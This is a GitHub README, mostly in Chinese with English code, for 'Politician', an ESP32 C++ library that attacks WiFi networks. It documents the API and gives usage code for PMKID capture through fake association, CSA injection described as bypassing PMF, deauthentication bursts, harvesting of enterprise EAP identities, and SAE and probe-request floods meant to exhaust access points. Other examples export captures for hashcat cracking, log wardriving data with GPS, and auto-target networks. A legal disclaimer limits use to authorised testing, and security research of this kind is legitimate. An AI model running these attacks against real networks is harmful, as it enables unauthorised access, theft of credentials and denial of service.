0ldev/Politician

GitHub: 0ldev/Politician

专为 ESP32 平台设计的现代 WiFi 安全审计库,支持 WPA/WPA2/WPA3 握手包捕获、PMKID 提取、CSA 注入绕过 PMF,以及企业凭据获取,输出 PCAPNG/Hashcat 格式。

Stars: 44 | Forks: 2

# Politician [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![PlatformIO](https://img.shields.io/badge/PlatformIO-Compatible-blue.svg)](https://platformio.org/) Politician 是一个专为 ESP32 平台设计的嵌入式 C++ 库,用于 WiFi 安全审计。它提供了简洁、现代的 API,利用高级 802.11 协议技术捕获 WPA/WPA2/WPA3 握手包并获取企业认证凭据。 ## 主要功能 - **PMKID 捕获**:无需断开客户端即可从关联响应中提取 PMKID - **CSA (Channel Switch Announcement) 注入**:替代取消认证攻击的现代方案 - **企业凭据获取**:从 802.1X 网络捕获 EAP-Identity 帧 - **隐藏网络发现**:通过探测响应拦截自动解除 SSID 隐藏 - **客户端唤醒**:使用 QoS Null Data 帧唤醒休眠的移动设备 - **WPA3/PMF 检测**:智能过滤以跳过启用了 Protected Management Frame 的网络 - **导出格式**:PCAPNG 捕获文件;可选 HC22000 文本导出,可直接导入 Hashcat ## 架构 该库基于非阻塞状态机构建,管理信道跳变、目标选择、攻击执行和捕获处理。所有操作都包含在 `politician` 命名空间中。 ### 核心组件 | 组件 | 描述 | |-----------|-------------| | `Politician` | 管理审计生命周期的主要引擎类 | | `PoliticianFormat` | PCAPNG 捕获序列化;辅助 HC22000 文本导出 | | `PoliticianStorage` | 可选 SD 卡日志记录和 NVS 持久化 | | `PoliticianStress` | 解耦的 DoS/干扰负载交付(需主动启用) | | `PoliticianTypes` | 核心数据结构和枚举 | ### 攻击模式 传统的取消认证攻击对启用了 Protected Management Frames (PMF/802.11w) 的现代 WPA3 和 WPA2 网络无效。Politician 实现了现代替代方案: | 模式 | 描述 | 有效性 | |------|-------------|---------------| | `ATTACK_PMKID` | 通过伪认证提取 PMKID | 适用于所有 WPA2/WPA3-Transition | | `ATTACK_CSA` | Channel Switch Announcement 注入 | 绕过 PMF 保护 | | `ATTACK_DEAUTH` | 传统取消认证 (Reason 7) | 仅适用于未启用 PMF 的 WPA2 | | `ATTACK_STIMULATE` | 针对休眠客户端的 QoS Null Data | 非侵入式客户端唤醒 | | `ATTACK_PASSIVE` | 仅监听模式 | 零传输 | | `ATTACK_ALL` | 启用所有主动攻击向量 | 最大激进程度 | ## 安装 ### PlatformIO 添加到您的 `platformio.ini`: ``` [env:myboard] platform = espressif32 board = esp32dev framework = arduino lib_deps = Politician ``` 或直接克隆到您项目的 `lib/` 目录中: ``` cd lib/ git clone https://github.com/0ldev/Politician.git ``` ### Arduino IDE 1. 下载 ZIP 格式的库文件 2. 在 Arduino IDE 中:**项目** → **加载库** → **添加 .ZIP 库** 3. 选择下载的 ZIP 文件 ## 快速开始 ### 基础握手捕获 ``` #include #include #include #include using namespace politician; using namespace politician::storage; Politician engine; void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); } void setup() { Serial.begin(115200); SD.begin(); engine.setEapolCallback(onHandshake); Config cfg; engine.begin(cfg); engine.setAttackMask(ATTACK_ALL); } void loop() { engine.tick(); } ``` ## API 参考 ### Politician 类 主要引擎类。必须在您的主循环中调用 `tick()`。 #### 初始化 ``` Error begin(const Config& cfg = Config()); ``` 初始化引擎。成功返回 `OK`,失败返回 `Error` 代码。必须在调用其他任何方法之前调用。 #### 配置结构 ``` struct Config { uint16_t hop_dwell_ms = 200; // Time spent on each channel (ms) uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1 uint32_t fish_timeout_ms = 2000; // Timeout per PMKID association attempt uint8_t fish_max_retries = 2; // PMKID retries before pivoting to CSA uint32_t csa_wait_ms = 4000; // Wait window after CSA/Deauth burst uint8_t csa_beacon_count = 8; // Number of CSA beacons per burst uint8_t deauth_burst_count = 16; // Frames per standalone deauth burst uint8_t csa_deauth_count = 15; // Deauth frames appended after CSA burst uint16_t probe_aggr_interval_s = 30; // Seconds between re-attacking the same AP uint32_t session_timeout_ms = 60000; // How long orphaned M1 sessions live in RAM bool capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack bool skip_immune_networks = true; // Skip pure WPA3 / PMF-Required networks uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES; int8_t min_rssi = -100; // Ignore APs weaker than this signal (dBm) uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0 = never expire) bool unicast_deauth = true; // Send deauth to known client MAC instead of broadcast uint32_t probe_hidden_interval_ms = 0; // How often to probe hidden APs for SSID (0 = disabled, opt-in) uint8_t deauth_reason = 7; // 802.11 reason code in deauth frames // ── Frame capture bool capture_group_keys = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames // ── Filtering uint8_t min_beacon_count = 0; // Min times AP must be seen before attack/apFoundCb (0 = off) uint8_t max_total_attempts = 0; // Permanently skip BSSID after N failed attacks (0 = unlimited) uint8_t sta_filter[6] = {}; // Only record EAPOL from this client MAC (zero = no filter) char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty = no filter) bool ssid_filter_exact = true; // True = exact match, false = substring match uint8_t enc_filter_mask = 0xFF; // Bitmask of enc types to cache (bit N = enc type N, 0xFF = all) bool require_active_clients = false; // Skip attack initiation if no active clients seen on AP }; ``` #### 回调函数 ``` void setEapolCallback(EapolCb cb); // Handshake captured (EAPOL, PMKID, or group key) void setApFoundCallback(ApFoundCb cb); // New AP discovered (respects min_beacon_count) void setIdentityCallback(IdentityCb cb); // 802.1X EAP-Identity harvested void setAttackResultCallback(AttackResultCb cb);// Attack exhausted without capturing void setTargetFilter(TargetFilterCb cb); // Early filter — return false to ignore AP void setPacketLogger(PacketCb cb); // Raw promiscuous-mode frames void setProbeRequestCallback(ProbeRequestCb cb);// Probe request received (client device history) void setDisruptCallback(DisruptCb cb); // Deauth/Disassoc frame received void setClientFoundCallback(ClientFoundCb cb); // New client STA seen associated to an AP void setRogueApCallback(RogueApCb cb); // Second BSSID with same SSID on same channel (evil twin) ``` #### 状态与统计 ``` bool isActive() const; // True if frame processing is enabled bool isAttacking() const; // True if a PMKID/CSA attack is in progress bool hasTarget() const; // True if focused on a specific BSSID uint8_t getChannel() const; // Current radio channel int8_t getLastRssi() const; // RSSI of the last received frame Stats& getStats(); // Reference to frame counters (captures, failures, etc.) Config& getConfig(); // Reference to the active config for runtime mutations void resetStats(); // Zero all counters int getApCount() const; // Number of APs in the discovery cache bool getAp(int idx, ApRecord &out) const; // Read AP from cache by index bool getApByBssid(const uint8_t* bssid, ApRecord &out) const; // Look up AP by BSSID int getClientCount(const uint8_t* bssid) const; // Number of clients seen on AP (0-4) bool getClient(const uint8_t* bssid, int idx, uint8_t out_sta[6]) const; // Read client MAC by index ``` #### 引擎控制 ``` void setActive(bool active); // Enable or disable frame processing without full teardown void setLogger(LogCb cb); // Redirect internal log output to a custom callback ``` #### 目标与信道控制 ``` Error setTarget(const uint8_t* bssid, uint8_t channel); // Focus on one BSSID void clearTarget(); // Resume autonomous operation Error setChannel(uint8_t ch); // Tune to a specific channel Error lockChannel(uint8_t ch); // Stop hopping, lock channel void startHopping(uint16_t dwellMs = 0); // Start channel hopping void stopHopping(); // Stop hopping (attack state machine continues) void stop(); // Full teardown: abort attack, clear target, stop hopping, disable capture void setChannelList(const uint8_t* channels, uint8_t count); // Restrict hop sequence void setChannelBands(bool ghz24, bool ghz5); // Hop 2.4GHz, 5GHz, or both Error setTargetBySsid(const char* ssid); // Lock target by SSID (picks strongest match from cache) void setAutoTarget(bool enable); // Continuously auto-target strongest uncaptured AP ``` #### 捕获列表 ``` void markCaptured(const uint8_t* bssid); // Skip this BSSID forever void clearCapturedList(); // Reset captured list void setIgnoreList(const uint8_t (*bssids)[6], uint8_t count); // Permanent ignore list ``` #### 攻击控制 ``` void setAttackMask(uint8_t mask); // Configure active attack vectors (bitmask) void setAttackMaskForBssid(const uint8_t* bssid, uint8_t mask); // Per-BSSID override (up to 8 entries) void clearAttackMaskOverrides(); // Remove all per-BSSID overrides ``` #### 攻击模式常量 ``` #define ATTACK_PMKID 0x01 // PMKID fishing via fake association #define ATTACK_CSA 0x02 // Channel Switch Announcement injection #define ATTACK_PASSIVE 0x04 // Listen-only — zero transmission #define ATTACK_DEAUTH 0x08 // Classic deauthentication (Reason 7) #define ATTACK_STIMULATE 0x10 // QoS Null Data client stimulation #define ATTACK_ALL 0x1F // All attack vectors ``` #### 捕获类型常量 ``` #define CAP_PMKID 0x01 // PMKID extracted via fake association #define CAP_EAPOL 0x02 // Full M1+M2 from passive capture #define CAP_EAPOL_CSA 0x03 // Full M1+M2 triggered by CSA/Deauth #define CAP_EAPOL_HALF 0x04 // M2-only (no anonce) — active attack pivot fired #define CAP_EAPOL_GROUP 0x05 // Non-pairwise EAPOL-Key (GTK rotation) ``` #### 捕获过滤常量 ``` #define LOG_FILTER_HANDSHAKES 0x01 // EAPOLs and PMKIDs (SPI-safe) #define LOG_FILTER_PROBES 0x02 // Probe requests and responses (SPI-safe) #define LOG_FILTER_BEACONS 0x04 // Beacons — high volume, SDMMC only #define LOG_FILTER_PROBE_REQ 0x08 // Probe requests as raw EPBs (SPI-safe) #define LOG_FILTER_MGMT_DISRUPT 0x10 // Deauth/Disassoc frames as raw EPBs (SPI-safe) #define LOG_FILTER_ALL 0xFF // Everything — SDMMC only ``` ### 数据结构 #### 统计 ``` struct Stats { uint32_t total; // Total frames received uint32_t mgmt; // Management frames uint32_t ctrl; // Control frames uint32_t data; // Data frames uint32_t eapol; // EAPOL frames detected uint32_t pmkid_found; // PMKIDs captured uint32_t beacons; // Beacon and probe-response frames uint32_t captures; // Total successful captures uint32_t failed_pmkid; // PMKID attempts exhausted without capture uint32_t failed_csa; // CSA/Deauth windows expired without EAPOL uint16_t channel_frames[14]; // Frames per 2.4GHz channel (index 0 = ch1 … index 13 = ch14) }; ``` #### HandshakeRecord ``` struct HandshakeRecord { uint8_t type; // CAP_PMKID / CAP_EAPOL / CAP_EAPOL_CSA / CAP_EAPOL_HALF / CAP_EAPOL_GROUP uint8_t channel; int8_t rssi; uint8_t bssid[6]; uint8_t sta[6]; // Client (station) MAC char ssid[33]; uint8_t ssid_len; uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2/WPA3, 4=Enterprise // PMKID path uint8_t pmkid[16]; // EAPOL path uint8_t anonce[32]; uint8_t mic[16]; uint8_t eapol_m2[256]; uint16_t eapol_m2_len; bool has_mic; bool has_anonce; }; ``` #### EapIdentityRecord ``` struct EapIdentityRecord { uint8_t bssid[6]; // Access Point MAC uint8_t client[6]; // Enterprise client MAC char identity[65]; // Plaintext identity / email uint8_t channel; int8_t rssi; }; ``` #### ApRecord ``` struct ApRecord { uint8_t bssid[6]; char ssid[33]; uint8_t ssid_len; uint8_t channel; int8_t rssi; uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2/WPA3, 4=Enterprise bool wps_enabled; // WPS IE detected in beacon/probe-response bool pmf_capable; // MFPC — AP supports Protected Management Frames bool pmf_required; // MFPR — AP mandates PMF (pure WPA3 / PMF-Required) uint8_t total_attempts; // Failed attack attempts against this BSSID bool captured; // True if BSSID is on the captured or ignore list bool ft_capable; // 802.11r FT AKM advertised (FT-PSK suite 4 or FT-EAP suite 3) uint32_t first_seen_ms; // millis() timestamp when this AP was first observed uint32_t last_seen_ms; // millis() timestamp of the most recent beacon or probe response char country[3]; // ISO 3166-1 alpha-2 country code from IE 7 (e.g. "US"), empty if absent uint16_t beacon_interval; // Advertised beacon interval in TUs (1 TU = 1024 µs), 0 if unknown uint8_t max_rate_mbps; // Highest legacy data rate from Supported Rates IE (Mbps), 0 if unknown }; ``` #### AttackResultRecord ``` enum AttackResult : uint8_t { RESULT_PMKID_EXHAUSTED = 1, // All PMKID retries failed RESULT_CSA_EXPIRED = 2, // CSA/Deauth window closed, no EAPOL received }; struct AttackResultRecord { uint8_t bssid[6]; char ssid[33]; uint8_t ssid_len; AttackResult result; }; ``` #### RogueApRecord ``` struct RogueApRecord { uint8_t known_bssid[6]; // BSSID of the first AP already cached with this SSID uint8_t rogue_bssid[6]; // BSSID of the newly observed AP sharing the same SSID char ssid[33]; // The shared SSID uint8_t ssid_len; uint8_t channel; // Channel on which the conflict was detected int8_t rssi; // Signal strength of the rogue AP (dBm) }; ``` #### ProbeRequestRecord ``` struct ProbeRequestRecord { uint8_t client[6]; // Probing device MAC uint8_t channel; int8_t rssi; char ssid[33]; // Requested SSID (empty = wildcard probe) uint8_t ssid_len; bool rand_mac; // True if locally administered bit set (iOS/Android MAC randomization) }; ``` #### DisruptRecord ``` struct DisruptRecord { uint8_t src[6]; // Frame source MAC uint8_t dst[6]; // Frame destination MAC uint8_t bssid[6]; // BSSID (addr3) uint16_t reason; // 802.11 reason code uint8_t subtype; // MGMT_SUB_DEAUTH (0xC0) or MGMT_SUB_DISASSOC (0xA0) uint8_t channel; int8_t rssi; bool rand_mac; // True if source MAC has locally administered bit set (randomized) }; ``` ### 格式工具 PCAPNG 是主要的捕获格式——它与工具无关,保留完整的帧上下文,可以在 Wireshark 中打开或通过 `hcxpcapngtool` 管道传输。HC22000 是辅助文本导出格式,供希望将捕获内容直接输入 `hashcat` 而无需中间转换步骤的用户使用。 ``` // Convert a HandshakeRecord to an HC22000 string (auxiliary — use PCAPNG as the primary output) String toHC22000(const HandshakeRecord& rec); // Write PCAPNG global header (SHB + IDB) — call once at file start size_t writePcapngGlobalHeader(uint8_t* buffer); // Serialize a HandshakeRecord into PCAPNG Enhanced Packet Blocks size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len); // Serialize a raw 802.11 frame into a PCAPNG Enhanced Packet Block size_t writePcapngPacket(const uint8_t* payload, size_t len, int8_t rssi, uint64_t ts_usec, uint8_t* buffer, size_t max_len); ``` ### 压力工具 (可选启用) 需要 `#include `。除非明确包含,否则不会链接。 ``` // Flood a WPA3 AP with SAE Commit frames to exhaust its anti-clogging token heap stress::saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000); // Flood nearby APs with randomized Probe Requests to saturate association queues stress::probeRequestFlood(uint32_t count = 1000); ``` ### 存储工具 (可选) 需要 `#include `。 ``` // Append handshake to PCAPNG file (writes global header automatically) PcapngFileLogger::append(fs::FS& fs, const char* path, const HandshakeRecord& rec); // Append raw 802.11 frame to PCAPNG file PcapngFileLogger::appendPacket(fs::FS& fs, const char* path, const uint8_t* payload, uint16_t len, int8_t rssi, uint32_t ts_usec); // Append handshake details to Wigle CSV WigleCsvLogger::append(fs::FS& fs, const char* path, const HandshakeRecord& rec, float lat, float lon, float alt = 0.0, float acc = 10.0, const char* timestamp = nullptr); // e.g. "2024-06-01 14:30:00" // Append any discovered AP to Wigle CSV (use with setApFoundCallback) WigleCsvLogger::appendAp(fs::FS& fs, const char* path, const ApRecord& ap, float lat, float lon, float alt = 0.0, float acc = 10.0, const char* timestamp = nullptr); // Append handshake to HC22000 text file Hc22000FileLogger::append(fs::FS& fs, const char* path, const HandshakeRecord& rec); // Append harvested enterprise identity to CSV EnterpriseCsvLogger::append(fs::FS& fs, const char* path, const EapIdentityRecord& rec); ``` ## 使用示例 ### 定向网络审计 使用回调函数根据信号强度、加密类型或 SSID 模式过滤网络: ``` engine.setTargetFilter([](const politician::ApRecord &ap) { // Only audit strong signals if (ap.rssi < -70) return false; // Skip Open/WEP networks if (ap.enc < 3) return false; // Skip corporate networks if (strstr(ap.ssid, "CORP-") != nullptr) return false; return true; }); ``` ### 选择性攻击模式 ``` // Modern CSA-only (bypasses PMF) engine.setAttackMask(ATTACK_CSA); // Classic deauth for legacy networks engine.setAttackMask(ATTACK_DEAUTH); // Passive monitoring with client stimulation engine.setAttackMask(ATTACK_PASSIVE | ATTACK_STIMULATE); // Full aggression engine.setAttackMask(ATTACK_ALL); ``` ### 企业凭据获取 ``` void onIdentity(const EapIdentityRecord &rec) { char bssid[18]; snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X", rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5]); Serial.printf("[802.1X] %s → %s\n", bssid, rec.identity); EnterpriseCsvLogger::append(SD, "/identities.csv", rec); } void setup() { engine.setIdentityCallback(onIdentity); Config cfg; cfg.hop_dwell_ms = 800; // Longer dwell for EAP exchanges engine.begin(cfg); } ``` ### 持久化存储 核心库与文件系统依赖解耦。可选择包含 `PoliticianStorage.h` 以进行 SD 卡日志记录: ``` #include #include using namespace politician::storage; void onHandshake(const HandshakeRecord &rec) { // Append to PCAPNG file (creates headers automatically) PcapngFileLogger::append(SD, "/captures.pcapng", rec); } void onPacket(const uint8_t* payload, uint16_t len, int8_t rssi, uint32_t ts) { // Log raw 802.11 frames PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, ts); } void setup() { SD.begin(); engine.setEapolCallback(onHandshake); engine.setPacketLogger(onPacket); Config cfg; cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES; engine.begin(cfg); } ``` **⚠️ 日志性能警告** Beacon 日志记录 (`LOG_FILTER_BEACONS`) 可能产生每秒 500+ 次写入。标准的 SPI SD 卡写入是**阻塞的**,会导致引擎冻结。对于大容量日志记录,请使用具有原生 **SDMMC**(4位)硬件支持和 DMA 的 ESP32 开发板。 ### GPS 集成 (Wigle.net) 结合 GPS 模块用于战争驾驶数据集: ``` #include TinyGPSPlus gps; // Log every discovered AP (use appendAp for ApRecord) void onAp(const ApRecord &ap) { if (gps.location.isValid()) { WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap, gps.location.lat(), gps.location.lng()); } } // Log captured handshakes with GPS context (use append for HandshakeRecord) void onHandshake(const HandshakeRecord &rec) { if (gps.location.isValid()) { WigleCsvLogger::append(SD, "/wardrive.csv", rec, gps.location.lat(), gps.location.lng()); } } ``` ## 高级功能 ### 半握手与智能转向 当 `cfg.capture_half_handshakes = true` 时,引擎会在仅捕获到 M2 时触发 `type = CAP_EAPOL_HALF` 的 EAPOL 回调。这些记录没有 `anonce`,因此无法直接破解,但它们确认了存在活跃客户端。 引擎立即执行**智能转向**: 1. 将网络标记为具有活跃客户端 2. 启动 CSA/Deauth 以强制重新进行完整的 4 次握手 3. 在重新连接时捕获完整的 M1+M2 ### 攻击结果回调 注册 `setAttackResultCallback()` 以在攻击耗尽所有选项但未捕获任何内容时收到通知。这对于记录失败的目标或在运行时调整策略非常有用: ``` engine.setAttackResultCallback([](const AttackResultRecord &res) { char bssid[18]; snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X", res.bssid[0], res.bssid[1], res.bssid[2], res.bssid[3], res.bssid[4], res.bssid[5]); if (res.result == RESULT_PMKID_EXHAUSTED) Serial.printf("[!] PMKID failed: %s (%s)\n", res.ssid, bssid); else if (res.result == RESULT_CSA_EXPIRED) Serial.printf("[!] CSA/Deauth timed out: %s (%s)\n", res.ssid, bssid); }); ``` ### 802.11r 快速转换检测 引擎检测信标和探测响应 RSN IE 中的 802.11r Fast Transition AKM(FT-PSK 套件类型 4,FT-EAP 套件类型 3)。检测到时,`ApRecord.ft_capable` 设置为 `true`,并在 PMKID 钓鱼期间发出日志说明。 对于 FT Transition Mode AP(同时广播 FT-PSK 和常规 WPA2-PSK),通过 WPA2-PSK 路径的标准 PMKID 捕获正常工作。对于 FT-only AP,捕获的 PMKID 是 FT 派生的——将其保存为 PCAPNG 并使用支持 FT 的离线工具(例如 `hcxpcapngtool --enable_ft`)进行破解。 ### 隐藏网络发现 由取消认证爆发触发的探测响应帧会自动揭示隐藏的 SSID。引擎缓存这些信息,无需任何配置。 ### PMF/WPA3 检测 RSNE (Robust Security Network Element) 解析会自动识别要求 PMF 的网络。这些网络会被跳过以节省时间,但 WPA3 Transition Mode 网络(支持 PMF 但不强制要求)仍会被定位。 `ApRecord` 暴露了 `pmf_capable` 和 `pmf_required`,以便 `setTargetFilter` 回调可以做出比二进制 `skip_immune_networks` 配置字段更精细的决策——例如,仅定位 WPA3 Transition 网络(支持 PMF 但不强制要求)。 ## 示例 该库包含展示各种用例的完整示例: | 示例 | 描述 | |---------|-------------| | `TargetedAuditing` | 使用回调进行网络过滤 | | `EnterpriseAuditing` | 802.1X 身份获取 | | `StorageAndNVS` | SD 卡 PCAPNG 日志记录和 NVS 持久化 | | `WigleIntegration` | GPS 战争驾驶与 Wigle CSV 导出 | | `ExportFormats` | PCAPNG 捕获和辅助 HC22000 文本导出 | | `DynamicControl` | 运行时攻击模式切换 | | `AutoEnterpriseHunter` | 自动企业网络定位 | | `SerialStreaming` | 实时数据包流传输 | | `StressTest` | 性能和内存测试 | 请参阅 [`examples/`](examples/) 目录以获取完整源代码。 ## 文档 完整的 API 文档可在 [`docs/`](docs/) 目录中找到。生成最新文档: ``` doxygen Doxyfile ``` 然后在浏览器中打开 `docs/html/index.html`。 ## 硬件要求 - **平台**:ESP32, ESP32-S2, ESP32-S3, ESP32-C3(ESP32-C6 尚待 PlatformIO 支持 Arduino 框架) - **框架**:Arduino 或 ESP-IDF - **内存**:建议至少 4MB flash - **可选**:SD 卡模块用于持久化日志 - **可选**:GPS 模块用于 Wigle 集成 ## 性能考量 - **信道跳变**:默认 200ms 驻留时间,平衡发现速度与捕获可靠性 - **内存**:核心引擎使用约 45KB RAM。存储辅助功能为可选 - **CPU**:非阻塞状态机保持 `loop()` 响应灵敏 - **半握手**:在快速跳变场景中启用以提高捕获率 ## 故障排除 **未捕获到握手包:** - 验证 WiFi 已启用且混杂模式正常工作 - 增加 `hop_dwell_ms` 以适应重连较慢的设备 - 检查目标网络是否使用 PMF Required(将被自动跳过) - 尝试 `ATTACK_ALL` 掩码以实现最大激进程度 **SD 卡写入失败:** - 确保在记录前 SD.begin() 成功 - 检查文件权限和可用空间 - 如果使用 SPI SD 卡,禁用 `LOG_FILTER_BEACONS` **未捕获到企业身份:** - 将 `hop_dwell_ms` 增加到 800-1200ms 以适应 EAP 交换 - 仅使用 `ATTACK_PASSIVE` 或 `ATTACK_STIMULATE` - 激进的攻击可能会中断 EAP 认证 ## 法律与道德使用 本库旨在用于: - ✅ 授权的渗透测试 - ✅ 受控环境中的安全研究 - ✅ 经许可的教育目的 - ✅ 审计您自己的网络 **未经授权访问您不拥有或未经许可测试的网络是非法的**,这违反了美国《计算机欺诈与滥用法》(CFAA) 及全球类似法律。 作者和贡献者不对本软件的滥用承担任何责任。 ## 贡献 欢迎贡献!请: 1. Fork 本仓库 2. 创建一个功能分支 3. 为新功能添加测试/示例 4. 提交 Pull Request ## 许可证 MIT 许可证 - 详见 [`LICENSE`](LICENSE)。 ## 致谢 特别感谢 [justcallmekoko](https://github.com/justcallmekoko) 通过 [ESP32 Marauder](https://github.com/justcallmekoko/ESP32Marauder) 项目启发了本项目及更广泛的硬件黑客社区。多年来从 Marauder 在 WiFi 安全研究方面的创新方法中学到的经验是无价的。
标签:802.11协议, 802.1X, Bitdefender, C++, CSA注入, EAP-Identity, ESP32, Hashcat, PCAPNG, PlatformIO, PMF绕过, PMKID, WiFi安全, WPA3, 中间人攻击, 企业级WiFi, 去认证攻击, 嵌入式开发, 握手包捕获, 数据擦除, 无线审计, 物联网安全, 足迹分析, 隐藏网络发现